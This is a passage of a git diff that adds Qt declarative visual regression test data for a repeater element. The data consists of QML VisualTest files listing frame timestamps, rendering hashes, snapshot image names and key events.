1024 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1040 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1056 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1072 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1088 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1104 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1120 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1136 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1152 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1168 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1184 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1200 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1216 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1232 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.0.png b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.0.png new file mode 100644 index 0000000..18ab543 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.qml b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.qml new file mode 100644 index 0000000..cb6b46c --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic2.qml @@ -0,0 +1,331 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 32 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 48 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 64 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 80 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 96 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 112 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 128 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 144 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 160 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 176 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 192 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 208 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 224 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 240 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 256 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 272 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 288 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 304 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 320 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 336 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 352 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 368 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 384 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 400 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 416 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 432 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 448 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 464 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 480 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 496 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 512 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 528 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 544 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 560 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 576 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 592 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 608 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 624 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 640 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 656 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 672 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 688 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 704 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 720 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 736 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 752 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 768 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 784 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 800 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 816 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 832 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 848 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 864 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 880 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 896 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 912 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 928 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 944 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 960 + image: "basic2.0.png" + } + Frame { + msec: 976 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 992 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1008 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1024 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1040 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1056 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1072 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1088 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1104 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1120 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1136 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1152 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1168 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1184 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1200 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1216 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1232 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1248 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1264 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.0.png b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.0.png new file mode 100644 index 0000000..18ab543 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.qml b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.qml new file mode 100644 index 0000000..9545fa9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic3.qml @@ -0,0 +1,347 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 32 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 48 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 64 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 80 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 96 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 112 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 128 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 144 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 160 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 176 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 192 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 208 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 224 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 240 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 256 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 272 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 288 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 304 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 320 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 336 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 352 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 368 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 384 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 400 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 416 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 432 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 448 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 464 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 480 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 496 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 512 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 528 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 544 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 560 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 576 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 592 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 608 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 624 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 640 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 656 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 672 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 688 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 704 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 720 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 736 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 752 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 768 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 784 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 800 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 816 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 832 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 848 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 864 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 880 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 896 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 912 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 928 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 944 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 960 + image: "basic3.0.png" + } + Frame { + msec: 976 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 992 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1008 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1024 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1040 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1056 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1072 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1088 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1104 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1120 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1136 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1152 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1168 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1184 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1200 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1216 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1232 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1248 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1264 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1280 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1296 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1312 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1328 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.0.png b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.0.png new file mode 100644 index 0000000..18ab543 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.qml b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.qml new file mode 100644 index 0000000..4839206 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data-X11/basic4.qml @@ -0,0 +1,419 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 32 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 48 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 64 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 80 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 96 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 112 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 128 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 144 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 160 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 176 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 192 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 208 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 224 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 240 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 256 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 272 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 288 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 304 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 320 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 336 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 352 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 368 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 384 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 400 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 416 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 432 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 448 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 464 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 480 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 496 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 512 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 528 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 544 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 560 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 576 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 592 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 608 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 624 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 640 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 656 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 672 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 688 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 704 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 720 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 736 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 752 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 768 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 784 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 800 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 816 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 832 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 848 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 864 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 880 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 896 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 912 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 928 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 944 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 960 + image: "basic4.0.png" + } + Frame { + msec: 976 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 992 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1008 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1024 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1040 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1056 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1072 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1088 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1104 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1120 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1136 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1152 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1168 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1184 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1200 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1216 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1232 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1248 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1264 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1280 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1296 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1312 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1328 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1344 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1360 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1376 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1392 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1408 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1424 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1440 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1456 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1472 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1488 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1504 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1520 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1536 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1552 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1568 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1584 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1600 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } + Frame { + msec: 1616 + hash: "71dedc2f057c660fa5089de2dd6313a4" + } +} diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic1.0.png b/tests/auto/declarative/qmlvisual/repeater/data/basic1.0.png new file mode 100644 index 0000000..aea0e98 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/repeater/data/basic1.0.png differ diff --git a/tests/auto/declarative/qmlvisual/repeater/data/basic1.qml b/tests/auto/declarative/qmlvisual/repeater/data/basic1.qml new file mode 100644 index 0000000..9535a2c --- /dev/null +++ b/tests/auto/declarative/qmlvisual/repeater/data/basic1.qml @@ -0,0 +1,323 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 32 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 48 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 64 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 80 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 96 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 112 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 128 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 144 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 160 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 176 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 192 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 208 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 224 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 240 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 256 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 272 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 288 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 304 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 320 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 336 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 352 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 368 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 384 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 400 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 416 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 432 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 448 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 464 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 480 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 496 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 512 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 528 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 544 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 560 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 576 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 592 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 608 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 624 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 640 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 656 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 672 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 688 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 704 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 720 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 736 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 752 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 768 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 784 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 800 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 816 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 832 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 848 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 864 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 880 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 896 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { + msec: 912 + hash: "539de20cf149353d2677111ea3de5681" + } + Frame { 